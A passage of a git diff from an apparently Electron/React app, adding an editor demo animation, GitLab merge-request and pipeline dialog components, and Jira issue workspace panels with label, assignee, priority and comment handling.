+          return
+        }
+
+        // Convert the active line to an H1: clear the slash glyph, drop the
+        // monospace styling, type the heading.
+        activeLine.dataset.role = 'h1'
+        if (activeText) {
+          activeText.textContent = ''
+        }
+        if (activeCaret) {
+          activeCaret.style.display = ''
+        }
+        await wait(EDITOR_ANIMATION_TIMING.postH1RevealMs)
+        if (cancelled) {
+          return
+        }
+        await typeInto(activeText ?? activeLine, 'Ship checklist', 55)
+        if (cancelled) {
+          return
+        }
+        await wait(EDITOR_ANIMATION_TIMING.postH1TypeMs)
+        if (cancelled) {
+          return
+        }
+
+        // 4. New active line below the H1 — user types "/code".
+        const newActive = document.createElement('div')
+        newActive.dataset.role = 'active'
+        newActive.className = activeLineClass()
+        const newText = document.createElement('span')
+        newText.dataset.mdActiveText = '1'
+        const newCaret = document.createElement('span')
+        newCaret.dataset.mdCaret = '1'
+        newCaret.className = caretClass()
+        newActive.appendChild(newText)
+        newActive.appendChild(newCaret)
+        after.appendChild(newActive)
+        const lineForBeat2 = newActive
+        await wait(EDITOR_ANIMATION_TIMING.newLineHoldMs)
+        if (cancelled) {
+          return
+        }
+
+        for (const ch of '/code') {
+          if (cancelled) {
+            return
+          }
+          newText.textContent = (newText.textContent ?? '') + ch
+          await wait(EDITOR_ANIMATION_TIMING.typePerCharMs)
+        }
+        await wait(EDITOR_ANIMATION_TIMING.postTypeMs)
+        if (cancelled) {
+          return
+        }
+
+        // Filter to the Code Block row, anchor menu, highlight.
+        clearActiveRow()
+        if (rowH1) {
+          rowH1.classList.remove('slash-active')
+        }
+        setSlashMode('code')
+        placeMenuNearLine(lineForBeat2)
+        showMenu()
+        cursor.style.opacity = '1'
+        const rowCode = rowCodeRef.current
+        if (rowCode) {
+          moveCursorTo(rowCode, 14, 11)
+          rowCode.classList.add('slash-active')
+        }
+        await wait(EDITOR_ANIMATION_TIMING.menuHoldMs)
+        if (cancelled) {
+          return
+        }
+
+        // 5. Click — line becomes a code block.
+        cursor.dataset.clicking = '1'
+        await wait(EDITOR_ANIMATION_TIMING.clickRippleMs)
+        if (cancelled) {
+          return
+        }
+        cursor.dataset.clicking = ''
+        hideMenu()
+        cursor.style.opacity = '0'
+        await wait(EDITOR_ANIMATION_TIMING.postClickMs)
+        if (cancelled) {
+          return
+        }
+
+        const codeBlock = document.createElement('div')
+        codeBlock.className = 'mt-1.5 animate-[md-block-in_380ms_cubic-bezier(.2,.8,.2,1)_both]'
+        codeBlock.innerHTML = codeBlockHTML()
+        lineForBeat2.replaceWith(codeBlock)
+
+        await wait(EDITOR_ANIMATION_TIMING.finalHoldMs)
+        if (cancelled) {
+          return
+        }
+
+        // Restore the initial DOM and loop.
+        restoreInitialActiveLine()
+      }
+    }
+
+    void loop()
+    return () => {
+      cancelled = true
+      timers.forEach((id) => window.clearTimeout(id))
+    }
+  }, [
+    activeLineRef,
+    activeTextRef,
+    afterRef,
+    cursorRef,
+    docRef,
+    menuRef,
+    reducedMotion,
+    rowCodeRef,
+    rowH1Ref
+  ])
+}
diff --git a/src/renderer/src/components/gitlab-item-dialog-parts.tsx b/src/renderer/src/components/gitlab-item-dialog-parts.tsx
new file mode 100644
index 00000000000..fe16ff10e39
--- /dev/null
+++ b/src/renderer/src/components/gitlab-item-dialog-parts.tsx
@@ -0,0 +1,285 @@
+import React from 'react'
+import { ExternalLink, LoaderCircle } from 'lucide-react'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import CommentMarkdown from '@/components/sidebar/CommentMarkdown'
+import { cn } from '@/lib/utils'
+import { translate } from '@/i18n/i18n'
+import type {
+  GitLabAssignableUser,
+  GitLabPipelineJob,
+  GitLabWorkItem,
+  MRComment
+} from '../../../shared/gitlab-types'
+
+export type JobTraceState = {
+  loading: boolean
+  trace?: string
+  error?: string
+}
+
+// Why: GitLab MR / issue states map onto a coarser palette than GitHub.
+export const STATE_TONE: Record<GitLabWorkItem['state'], string> = {
+  opened: 'bg-emerald-500/15 text-emerald-700 dark:text-emerald-300',
+  closed: 'bg-rose-500/15 text-rose-700 dark:text-rose-300',
+  merged: 'bg-violet-500/15 text-violet-700 dark:text-violet-300',
+  locked: 'bg-rose-500/15 text-rose-700 dark:text-rose-300',
+  draft: 'bg-amber-500/15 text-amber-700 dark:text-amber-300'
+}
+
+// Why: pipeline job statuses map to one of four visual buckets — keep
+// the mapping local so the renderer doesn't depend on the backend's
+// shared mapper module (which is main-process only).
+export function jobStatusTone(status: string): string {
+  switch (status) {
+    case 'success':
+      return 'bg-emerald-500/15 text-emerald-700 dark:text-emerald-300'
+    case 'failed':
+      return 'bg-rose-500/15 text-rose-700 dark:text-rose-300'
+    case 'running':
+    case 'pending':
+    case 'created':
+    case 'preparing':
+    case 'waiting_for_resource':
+    case 'scheduled':
+      return 'bg-sky-500/15 text-sky-700 dark:text-sky-300'
+    case 'manual':
+      return 'bg-amber-500/15 text-amber-700 dark:text-amber-300'
+    case 'canceled':
+    case 'skipped':
+    default:
+      return 'bg-muted text-muted-foreground'
+  }
+}
+
+export function showGitLabMutationError(error: unknown): void {
+  const message = error instanceof Error && error.message ? error.message : String(error)
+  toast.error(
+    message === 'undefined' || message === 'null'
+      ? translate('auto.components.GitLabItemDialog.gitlabActionFailed', 'GitLab action failed.')
+      : message
+  )
+}
+
+export function StateBadge({ state }: { state: GitLabWorkItem['state'] }): React.JSX.Element {
+  return (
+    <span
+      className={cn(
+        'inline-flex items-center rounded-full px-2 py-0.5 text-[10px] font-medium uppercase tracking-wide',
+        STATE_TONE[state]
+      )}
+    >
+      {state}
+    </span>
+  )
+}
+
+export function normalizeGitLabLabels(labels: readonly string[]): string[] {
+  const seen = new Set<string>()
+  const normalized: string[] = []
+  for (const label of labels) {
+    const trimmed = label.trim()
+    const key = trimmed.toLowerCase()
+    if (!trimmed || seen.has(key)) {
+      continue
+    }
+    seen.add(key)
+    normalized.push(trimmed)
+  }
+  return normalized
+}
+
+export function parseGitLabLabelDraft(value: string): string[] {
+  return normalizeGitLabLabels(value.split(','))
+}
+
+export function formatGitLabLabelDraft(labels: readonly string[]): string {
+  return normalizeGitLabLabels(labels).join(', ')
+}
+
+export function toggleGitLabLabelDraft(value: string, label: string): string {
+  const labels = parseGitLabLabelDraft(value)
+  const key = label.trim().toLowerCase()
+  const next = labels.some((item) => item.toLowerCase() === key)
+    ? labels.filter((item) => item.toLowerCase() !== key)
+    : [...labels, label]
+  return formatGitLabLabelDraft(next)
+}
+
+export function gitLabUserKey(user: GitLabAssignableUser): string {
+  return typeof user.id === 'number' ? `id:${user.id}` : `username:${user.username.toLowerCase()}`
+}
+
+export function dedupeGitLabUsers(users: readonly GitLabAssignableUser[]): GitLabAssignableUser[] {
+  const byKey = new Map<string, GitLabAssignableUser>()
+  for (const user of users) {
+    byKey.set(gitLabUserKey(user), user)
+  }
+  return Array.from(byKey.values()).sort((a, b) => a.username.localeCompare(b.username))
+}
+
+export function CommentCard({
+  comment,
+  canResolve,
+  resolving,
+  onResolve
+}: {
+  comment: MRComment
+  canResolve?: boolean
+  resolving?: boolean
+  onResolve?: (threadId: string, resolved: boolean) => void
+}): React.JSX.Element {
+  const hasThread = Boolean(comment.threadId)
+  return (
+    <div className="rounded-md border border-border/40 bg-muted/30 p-3">
+      <div className="mb-1.5 flex items-center justify-between gap-2 text-xs text-muted-foreground">
+        <div className="flex items-center gap-2">
+          {comment.authorAvatarUrl ? (
+            <img
+              src={comment.authorAvatarUrl}
+              alt=""
+              className="size-5 rounded-full"
+              onError={(e) => {
+                e.currentTarget.style.display = 'none'
+              }}
+            />
+          ) : null}
+          <span className="font-medium text-foreground">{comment.author}</span>
+          {comment.isResolved ? (
+            <span className="rounded-full bg-emerald-500/15 px-1.5 py-0.5 text-[10px] font-medium text-emerald-700 dark:text-emerald-300">
+              {translate('auto.components.GitLabItemDialog.f23ea85341', 'resolved')}
+            </span>
+          ) : null}
+        </div>
+        <div className="flex items-center gap-2">
+          {canResolve && hasThread && onResolve ? (
+            <Button
+              type="button"
+              variant="ghost"
+              size="xs"
+              disabled={resolving}
+              onClick={() => onResolve(comment.threadId ?? '', !comment.isResolved)}
+              className="h-6"
+            >
+              {resolving ? <LoaderCircle className="size-3 animate-spin" /> : null}
+              {comment.isResolved
+                ? translate('auto.components.GitLabItemDialog.65e784c1f1', 'Reopen')
+                : translate('auto.components.GitLabItemDialog.4168eb2c51', 'Resolve')}
+            </Button>
+          ) : null}
+          <span>{comment.createdAt ? new Date(comment.createdAt).toLocaleDateString() : ''}</span>
+        </div>
+      </div>
+      {comment.path ? (
+        <div className="mb-1.5 font-mono text-[11px] text-muted-foreground">
+          {comment.path}
+          {comment.line ? `:${comment.line}` : ''}
+        </div>
+      ) : null}
+      <CommentMarkdown
+        content={comment.body}
+        variant="document"
+        className="min-w-0 max-w-full overflow-hidden break-words text-[13px] leading-relaxed [&_a]:break-all [&_code]:break-words [&_pre]:max-w-full"
+      />
+    </div>
+  )
+}
+
+export function PipelineJobRow({
+  job,
+  expanded,
+  traceState,
+  retrying,
+  onToggleTrace,
+  onRetry
+}: {
+  job: GitLabPipelineJob
+  expanded: boolean
+  traceState?: JobTraceState
+  retrying: boolean
+  onToggleTrace: (job: GitLabPipelineJob) => void
+  onRetry: (job: GitLabPipelineJob) => void
+}): React.JSX.Element {
+  const canRetry = ['failed', 'canceled', 'cancelled'].includes(job.status)
+  return (
+    <div className="rounded-md">
+      <div className="grid w-full grid-cols-[minmax(0,2fr)_minmax(0,1fr)_80px_64px_96px] items-center gap-3 px-3 py-2 text-left text-sm hover:bg-muted/40">
+        <button
+          type="button"
+          onClick={() => onToggleTrace(job)}
+          className="min-w-0 truncate text-left font-medium"
+        >
+          {job.name}
+        </button>
+        <span className="min-w-0 truncate text-xs text-muted-foreground">{job.stage}</span>
+        <span
+          className={cn(
+            'rounded-full px-2 py-0.5 text-center text-[10px] font-medium uppercase tracking-wide',
+            jobStatusTone(job.status)
+          )}
+        >
+          {job.status}
+        </span>
+        <span className="text-right text-[11px] text-muted-foreground">
+          {/* Why: durations come back as seconds; show "Nm Ns" for >60s
+              and "Ns" otherwise. null = job hasn't finished. */}
+          {typeof job.duration === 'number'
+            ? job.duration >= 60
+              ? `${Math.floor(job.duration / 60)}m ${Math.floor(job.duration % 60)}s`
+              : `${Math.floor(job.duration)}s`
+            : '—'}
+        </span>
+        <div className="flex justify-end gap-1">
+          {canRetry ? (
+            <Button
+              type="button"
+              variant="ghost"
+              size="xs"
+              disabled={retrying}
+              onClick={() => onRetry(job)}
+              className="h-6"
+            >
+              {retrying ? <LoaderCircle className="size-3 animate-spin" /> : null}
+              {translate('auto.components.GitLabItemDialog.fa3e042203', 'Retry')}
+            </Button>
+          ) : null}
+          {job.webUrl ? (
+            <Button
+              type="button"
+              variant="ghost"
+              size="icon-xs"
+              onClick={() => void window.api.shell.openUrl(job.webUrl)}
+              title={translate('auto.components.GitLabItemDialog.032ae1312b', 'Open job in GitLab')}
+            >
+              <ExternalLink className="size-3" />
+            </Button>
+          ) : null}
+        </div>
+      </div>
+      {expanded ? (
+        <div className="mx-3 mb-2 rounded-md border border-border/50 bg-muted/20">
+          <div className="flex items-center justify-between border-b border-border/40 px-2.5 py-1.5 text-[11px] text-muted-foreground">
+            <span>{translate('auto.components.GitLabItemDialog.2f9b27f838', 'Job log')}</span>
+            <Button type="button" variant="ghost" size="xs" onClick={() => onToggleTrace(job)}>
+              {translate('auto.components.GitLabItemDialog.028bde664e', 'Hide')}
+            </Button>
+          </div>
+          {traceState?.loading ? (
+            <div className="flex items-center gap-2 px-2.5 py-3 text-xs text-muted-foreground">
+              <LoaderCircle className="size-3.5 animate-spin" />
+              {translate('auto.components.GitLabItemDialog.d600c2619a', 'Loading log')}
+            </div>
+          ) : traceState?.error ? (
+            <div className="px-2.5 py-3 text-xs text-destructive">{traceState.error}</div>
+          ) : (
+            <pre className="max-h-64 overflow-auto whitespace-pre-wrap break-words px-2.5 py-2 font-mono text-[11px] leading-4 text-foreground scrollbar-sleek">
+              {traceState?.trace?.trim()
+                ? traceState.trace
+                : translate('auto.components.GitLabItemDialog.32f8bef818', 'No log output.')}
+            </pre>
+          )}
+        </div>
+      ) : null}
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/jira-issue-workspace-actions.ts b/src/renderer/src/components/jira-issue-workspace-actions.ts
new file mode 100644
index 00000000000..14584caa13f
--- /dev/null
+++ b/src/renderer/src/components/jira-issue-workspace-actions.ts
@@ -0,0 +1,68 @@
+import { Clipboard, ExternalLink, GitBranch } from 'lucide-react'
+import { toast } from 'sonner'
+import { translate } from '@/i18n/i18n'
+import type { JiraIssue } from '../../../shared/jira-types'
+import type { JiraIssueWorkspaceAction } from './jira-issue-workspace-content'
+
+function buildJiraBranchName(issue: JiraIssue): string {
+  const slug = issue.title
+    .toLowerCase()
+    .replace(/[^a-z0-9]+/g, '-')
+    .replace(/^-+|-+$/g, '')
+    .slice(0, 52)
+  return `${issue.key.toLowerCase()}${slug ? `-${slug}` : ''}`
+}
+
+async function copyTextToClipboard(text: string, label: string): Promise<void> {
+  try {
+    await window.api.ui.writeClipboardText(text)
+    toast.success(
+      translate('auto.components.JiraIssueWorkspace.2ff69a3545', '{{value0}} copied', {
+        value0: label
+      })
+    )
+  } catch {
+    toast.error(
+      translate('auto.components.JiraIssueWorkspace.6c41a9bcea', 'Failed to copy {{value0}}', {
+        value0: label.toLowerCase()
+      })
+    )
+  }
+}
+
+export function getJiraIssueWorkspaceActions(issue: JiraIssue): JiraIssueWorkspaceAction[] {
+  return [
+    {
+      label: translate('auto.components.JiraIssueWorkspace.69da9a208c', 'Open in Jira'),
+      icon: ExternalLink,
+      action: () => window.api.shell.openUrl(issue.url)
+    },
+    {
+      label: translate('auto.components.JiraIssueWorkspace.779bb91ee0', 'Copy URL'),
+      icon: Clipboard,
+      action: () => void copyTextToClipboard(issue.url, 'URL')
+    },
+    {
+      label: translate('auto.components.JiraIssueWorkspace.38839801e8', 'Copy key'),
+      icon: Clipboard,
+      action: () => void copyTextToClipboard(issue.key, 'Key')
+    },
+    {
+      label: translate(
+        'auto.components.JiraIssueWorkspace.80efa101c5',
+        'Copy suggested branch name'
+      ),
+      icon: GitBranch,
+      action: () => void copyTextToClipboard(buildJiraBranchName(issue), 'Branch name')
+    },
+    {
+      label: translate('auto.components.JiraIssueWorkspace.0cc62bd690', 'Copy prompt'),
+      icon: Clipboard,
+      action: () =>
+        void copyTextToClipboard(
+          `Complete Jira issue ${issue.key}: ${issue.title}\n\n${issue.url}`,
+          'Prompt'
+        )
+    }
+  ]
+}
diff --git a/src/renderer/src/components/jira-issue-workspace-chrome.tsx b/src/renderer/src/components/jira-issue-workspace-chrome.tsx
new file mode 100644
index 00000000000..0b478624f91
--- /dev/null
+++ b/src/renderer/src/components/jira-issue-workspace-chrome.tsx
@@ -0,0 +1,225 @@
+import { ArrowRight, LoaderCircle, X } from 'lucide-react'
+import { Button } from '@/components/ui/button'
+import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
+import { cn } from '@/lib/utils'
+import { translate } from '@/i18n/i18n'
+import { formatUiRelativeTimeFromDate } from '@/i18n/relative-time-format'
+import type {
+  JiraIssue,
+  JiraIssueUpdate,
+  JiraPriority,
+  JiraTransition,
+  JiraUser
+} from '../../../shared/jira-types'
+
+function jiraStatusClass(categoryKey: string): string {
+  if (categoryKey === 'done') {
+    return 'border-emerald-500/30 bg-emerald-500/10 text-emerald-700 dark:text-emerald-200'
+  }
+  if (categoryKey === 'indeterminate') {
+    return 'border-sky-500/30 bg-sky-500/10 text-sky-700 dark:text-sky-200'
+  }
+  return 'border-border/50 bg-muted/40 text-muted-foreground'
+}
+
+export function JiraIssueWorkspaceHeader({
+  displayed,
+  issueLoading,
+  onUse,
+  onClose
+}: {
+  displayed: JiraIssue
+  issueLoading: boolean
+  onUse: (issue: JiraIssue) => void
+  onClose: () => void
+}): React.JSX.Element {
+  return (
+    <div className="flex-none border-b border-border/50 bg-muted/30 px-4 py-3">
+      <div className="flex items-start gap-3">
+        <div className="min-w-0 flex-1">
+          <div className="flex flex-wrap items-center gap-x-2 gap-y-1 text-[11px] text-muted-foreground">
+            <span className="font-mono">{displayed.key}</span>
+            {displayed.siteName ? <span>{displayed.siteName}</span> : null}
+            <span>{displayed.project.key}</span>
+            <span>{formatUiRelativeTimeFromDate(displayed.updatedAt)}</span>
+            {issueLoading ? <LoaderCircle className="size-3 animate-spin" /> : null}
+          </div>
+          <h2 className="mt-1 text-[20px] font-semibold leading-tight text-foreground">
+            {displayed.title}
+          </h2>
+        </div>
+        <Button
+          onClick={() => onUse(displayed)}
+          className="hidden shrink-0 gap-2 sm:inline-flex"
+          size="sm"
+        >
+          {translate('auto.components.JiraIssueWorkspace.2441be6f9f', 'Start workspace')}
+          <ArrowRight className="size-4" />
+        </Button>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant="ghost"
+              size="icon-sm"
+              className="shrink-0"
+              onClick={onClose}
+              aria-label={translate(
+                'auto.components.JiraIssueWorkspace.76513c7898',
+                'Close Jira issue preview'
+              )}
+            >
+              <X className="size-4" />
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent side="bottom" sideOffset={6}>
+            {translate('auto.components.JiraIssueWorkspace.7a96985ca0', 'Close')}
+          </TooltipContent>
+        </Tooltip>
+      </div>
+    </div>
+  )
+}
+
+export function JiraIssueMetadataBar({
+  displayed,
+  pendingField,
+  transitions,
+  priorities,
+  users,
+  mutateIssue
+}: {
+  displayed: JiraIssue
+  pendingField: string | null
+  transitions: JiraTransition[]
+  priorities: JiraPriority[]
+  users: JiraUser[]
+  mutateIssue: (
+    field: string,
+    updates: JiraIssueUpdate,
+    optimistic?: Partial<JiraIssue>
+  ) => Promise<void>
+}): React.JSX.Element {
+  return (
+    <div className="flex flex-wrap items-center gap-x-3 gap-y-2 border-b border-border/60 px-4 py-2.5">
+      <Popover>
+        <PopoverTrigger asChild>
+          <button
+            type="button"
+            disabled={pendingField === 'transition' || transitions.length === 0}
+            className={cn(
+              'inline-flex items-center gap-1.5 rounded-full border px-2 py-0.5 text-[11px] font-medium transition hover:opacity-80 disabled:opacity-50',
+              jiraStatusClass(displayed.status.categoryKey)
+            )}
+          >
+            {displayed.status.name}
+            {pendingField === 'transition' ? (
+              <LoaderCircle className="size-3 animate-spin" />
+            ) : null}
+          </button>
+        </PopoverTrigger>
+        <PopoverContent className="popover-scroll-content scrollbar-sleek w-52 p-1" align="start">
+          {transitions.map((transition) => (
+            <button
+              key={transition.id}
+              type="button"
+              onClick={() =>
+                void mutateIssue(
+                  'transition',
+                  { transitionId: transition.id },
+                  { status: transition.to }
+                )
+              }
+              className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
+            >
+              {transition.name}
+            </button>
+          ))}
+        </PopoverContent>
+      </Popover>
+
+      <Popover>
+        <PopoverTrigger asChild>
+          <button
+            type="button"
+            disabled={pendingField === 'priority'}
+            className="rounded-md px-1.5 py-0.5 text-[11px] text-muted-foreground transition hover:bg-muted/40 disabled:opacity-50"
+          >
+            {displayed.priority?.name ??
+              translate('auto.components.JiraIssueWorkspace.51bed73f88', 'No priority')}
+            {pendingField === 'priority' ? (
+              <LoaderCircle className="ml-1 inline size-3 animate-spin" />
+            ) : null}
+          </button>
+        </PopoverTrigger>
+        <PopoverContent className="popover-scroll-content scrollbar-sleek w-48 p-1" align="start">
+          <button
+            type="button"
+            onClick={() =>
+              void mutateIssue('priority', { priorityId: null }, { priority: undefined })
+            }
+            className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
+          >
+            {translate('auto.components.JiraIssueWorkspace.51bed73f88', 'No priority')}
+          </button>
+          {priorities.map((priority) => (
+            <button
+              key={priority.id}
+              type="button"
+              onClick={() =>
+                void mutateIssue('priority', { priorityId: priority.id }, { priority })
+              }
+              className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
+            >
+              {priority.name}
+            </button>
+          ))}
+        </PopoverContent>
+      </Popover>
+
+      <Popover>
+        <PopoverTrigger asChild>
+          <button
+            type="button"
+            disabled={pendingField === 'assignee'}
+            className="flex items-center gap-1 rounded-md px-1.5 py-0.5 text-[11px] text-muted-foreground transition hover:bg-muted/40 disabled:opacity-50"
+          >
+            {displayed.assignee?.displayName ??
+              translate('auto.components.JiraIssueWorkspace.54649eaeab', '+ Assignee')}
+            {pendingField === 'assignee' ? <LoaderCircle className="size-3 animate-spin" /> : null}
+          </button>
+        </PopoverTrigger>
+        <PopoverContent className="popover-scroll-content scrollbar-sleek w-56 p-1" align="start">
+          <button
+            type="button"
+            onClick={() =>
+              void mutateIssue('assignee', { assigneeAccountId: null }, { assignee: undefined })
+            }
+            className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
+          >
+            {translate('auto.components.JiraIssueWorkspace.0b6b5646ed', 'Unassigned')}
+          </button>
+          {users.map((user) => (
+            <button
+              key={user.accountId}
+              type="button"
+              onClick={() =>
+                void mutateIssue(
+                  'assignee',
+                  { assigneeAccountId: user.accountId },
+                  { assignee: user }
+                )
+              }
+              className="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
+            >
+              {user.avatarUrl ? (
+                <img src={user.avatarUrl} alt="" className="size-5 rounded-full" />
+              ) : null}
+              <span className="truncate">{user.displayName}</span>
+            </button>
+          ))}
+        </PopoverContent>
+      </Popover>
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/jira-issue-workspace-content.tsx b/src/renderer/src/components/jira-issue-workspace-content.tsx
new file mode 100644
index 00000000000..11be7282114
--- /dev/null
+++ b/src/renderer/src/components/jira-issue-workspace-content.tsx
@@ -0,0 +1,289 @@
+import type { LucideIcon } from 'lucide-react'
+import { ArrowRight, LoaderCircle, RefreshCw, Save, Send } from 'lucide-react'
+import CommentMarkdown from '@/components/sidebar/CommentMarkdown'
+import { JiraIcon } from '@/components/icons/JiraIcon'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
+import { translate } from '@/i18n/i18n'
+import { formatUiRelativeTimeFromDate } from '@/i18n/relative-time-format'
+import type { JiraComment, JiraIssue } from '../../../shared/jira-types'
+
+export type JiraIssueWorkspaceAction = {
+  label: string
+  icon: LucideIcon
+  action: () => void
+}
+
+export function JiraIssueWorkspaceContent({
+  displayed,
+  titleDraft,
+  setTitleDraft,
+  labelsDraft,
+  setLabelsDraft,
+  handleSaveTitle,
+  handleSaveLabels,
+  pendingField,
+  comments,
+  commentsError,
+  commentsLoading,
+  retryComments,
+  onUse,
+  actionItems
+}: {
+  displayed: JiraIssue
+  titleDraft: string
+  setTitleDraft: (value: string) => void
+  labelsDraft: string
+  setLabelsDraft: (value: string) => void
+  handleSaveTitle: () => void
+  handleSaveLabels: () => void
+  pendingField: string | null
+  comments: JiraComment[]
+  commentsError: string | null
+  commentsLoading: boolean
+  retryComments: () => void
+  onUse: (issue: JiraIssue) => void
+  actionItems: JiraIssueWorkspaceAction[]
+}): React.JSX.Element {
+  return (
+    <div className="grid min-h-0 flex-1 grid-cols-1 xl:grid-cols-[minmax(0,1fr)_228px]">
+      <div className="min-h-0 overflow-y-auto scrollbar-sleek">
+        <section className="border-b border-border/40 px-4 py-4">
+          <div className="grid gap-2">
+            <label className="text-[11px] font-medium text-muted-foreground">
+              {translate('auto.components.JiraIssueWorkspace.444865b4a8', 'Title')}
+            </label>
+            <div className="flex gap-2">
+              <Input
+                value={titleDraft}
+                onChange={(event) => setTitleDraft(event.target.value)}
+                onKeyDown={(event) => {
+                  if (event.key === 'Enter' && !event.nativeEvent.isComposing) {
+                    event.preventDefault()
+                    handleSaveTitle()
+                  }
+                }}
+                className="h-8 text-xs"
+              />
+              <Button
+                size="sm"
+                variant="outline"
+                onClick={handleSaveTitle}
+                disabled={pendingField === 'title'}
+              >
+                {pendingField === 'title' ? (
+                  <LoaderCircle className="size-4 animate-spin" />
+                ) : (
+                  <Save className="size-4" />
+                )}
+              </Button>
+            </div>
+            <label className="mt-2 text-[11px] font-medium text-muted-foreground">
+              {translate('auto.components.JiraIssueWorkspace.aee97b6913', 'Labels')}
+            </label>
+            <div className="flex gap-2">
+              <Input
+                value={labelsDraft}
+                onChange={(event) => setLabelsDraft(event.target.value)}
+                placeholder={translate(
+                  'auto.components.JiraIssueWorkspace.0f3c07a901',
+                  'backend, bug'
+                )}
+                className="h-8 text-xs"
+              />
+              <Button
+                size="sm"
+                variant="outline"
+                onClick={handleSaveLabels}
+                disabled={pendingField === 'labels'}
+              >
+                {pendingField === 'labels' ? (
+                  <LoaderCircle className="size-4 animate-spin" />
+                ) : (
+                  <Save className="size-4" />
+                )}
+              </Button>
+            </div>
+          </div>
+        </section>
+
+        <section className="border-b border-border/40 px-4 py-4">
+          <div className="mb-2 flex items-center gap-2">
+            <JiraIcon className="size-3 text-muted-foreground" />
+            <span className="text-xs font-medium text-foreground">{displayed.issueType.name}</span>
+            <span className="text-xs text-muted-foreground">
+              {displayed.project.key} ·{' '}
+              {displayed.assignee?.displayName ??
+                translate('auto.components.JiraIssueWorkspace.0b6b5646ed', 'Unassigned')}
+            </span>
+          </div>
+          {displayed.description?.trim() ? (
+            <CommentMarkdown
+              content={displayed.description}
+              variant="document"
+              className="text-[14px] leading-relaxed"
+            />
+          ) : (
+            <p className="text-sm italic text-muted-foreground">
+              {translate(
+                'auto.components.JiraIssueWorkspace.c4889a47e4',
+                'No description provided.'
+              )}
+            </p>
+          )}
+        </section>
+
+        <section className="px-4 py-4">
+          <div className="mb-3 flex items-center justify-between gap-3">
+            <div className="flex items-center gap-2">
+              <span className="text-[13px] font-medium text-foreground">
+                {translate('auto.components.JiraIssueWorkspace.9a980b06b9', 'Comments')}
+              </span>
+              {comments.length > 0 ? (
+                <span className="text-[12px] text-muted-foreground">{comments.length}</span>
+              ) : null}
+            </div>
+            {commentsError ? (
+              <Button
+                variant="outline"
+                size="xs"
+                onClick={retryComments}
+                disabled={commentsLoading}
+                className="gap-1"
+              >
+                {commentsLoading ? (
+                  <LoaderCircle className="size-3 animate-spin" />
+                ) : (
+                  <RefreshCw className="size-3" />
+                )}
+                {translate('auto.components.JiraIssueWorkspace.5cd09beaf9', 'Retry')}
+              </Button>
+            ) : null}
+          </div>
+          {commentsError ? (
+            <div className="rounded-md border border-destructive/30 bg-destructive/10 px-3 py-2 text-sm text-destructive">
+              {commentsError}
+            </div>
+          ) : commentsLoading && comments.length === 0 ? (
+            <div className="flex items-center justify-center py-8">
+              <LoaderCircle className="size-4 animate-spin text-muted-foreground" />
+            </div>
+          ) : comments.length === 0 ? (
+            <p className="text-sm text-muted-foreground">
+              {translate('auto.components.JiraIssueWorkspace.9178090e26', 'No comments yet.')}
+            </p>
+          ) : (
+            <div className="flex flex-col gap-3">
+              {comments.map((comment) => (
+                <div key={comment.id} className="rounded-md border border-border/50 bg-muted/20">
+                  <div className="flex min-w-0 items-center gap-2 border-b border-border/40 px-3 py-2">
+                    {comment.user?.avatarUrl ? (
+                      <img
+                        src={comment.user.avatarUrl}
+                        alt=""
+                        className="size-5 shrink-0 rounded-full"
+                      />
+                    ) : null}
+                    <span className="truncate text-[13px] font-semibold text-foreground">
+                      {comment.user?.displayName ??
+                        translate('auto.components.JiraIssueWorkspace.666cfdd835', 'Unknown')}
+                    </span>
+                    <span className="shrink-0 text-[12px] text-muted-foreground">
+                      {formatUiRelativeTimeFromDate(comment.createdAt)}
+                    </span>
+                  </div>
+                  <div className="px-3 py-2">
+                    {/* Why: Jira comment screenshots need the same preview
+                                affordance without changing compact comment typography. */}
+                    <CommentMarkdown
+                      content={comment.body}
+                      expandImages
+                      className="text-[13px] leading-relaxed"
+                    />
+                  </div>
+                </div>
+              ))}
+            </div>
+          )}
+        </section>
+      </div>
+
+      <aside className="border-t border-border/50 bg-muted/20 px-3 py-3 xl:border-l xl:border-t-0">
+        <Button
+          onClick={() => onUse(displayed)}
+          className="mb-3 w-full justify-center gap-2 sm:hidden"
+        >
+          {translate('auto.components.JiraIssueWorkspace.2441be6f9f', 'Start workspace')}
+          <ArrowRight className="size-4" />
+        </Button>
+        <div className="grid gap-1">
+          {actionItems.map((item) => {
+            const Icon = item.icon
+            return (
+              <Tooltip key={item.label}>
+                <TooltipTrigger asChild>
+                  <button
+                    type="button"
+                    onClick={item.action}
+                    className="flex min-w-0 items-center gap-2 rounded-md px-2 py-1.5 text-left text-xs text-muted-foreground transition hover:bg-accent hover:text-accent-foreground"
+                  >
+                    <Icon className="size-3.5 shrink-0" />
+                    <span className="truncate">{item.label}</span>
+                  </button>
+                </TooltipTrigger>
+                <TooltipContent side="left" sideOffset={6}>
+                  {item.label}
+                </TooltipContent>
+              </Tooltip>
+            )
+          })}
+        </div>
+      </aside>
+    </div>
+  )
+}
+
+export function JiraIssueCommentComposer({
+  commentDraft,
+  setCommentDraft,
+  commentSubmitting,
+  canSubmitComment,
+  handleSubmitComment
+}: {
+  commentDraft: string
+  setCommentDraft: (value: string) => void
+  commentSubmitting: boolean
+  canSubmitComment: boolean
+  handleSubmitComment: () => void
+}): React.JSX.Element {
+  return (
+    <div className="flex-none border-t border-border/50 bg-background px-3 py-3">
+      <div className="flex gap-2">
+        <textarea
+          value={commentDraft}
+          onChange={(event) => setCommentDraft(event.target.value)}
+          placeholder={translate(
+            'auto.components.JiraIssueWorkspace.a585fd204e',
+            'Add a Jira comment...'
+          )}
+          rows={2}
+          disabled={commentSubmitting}
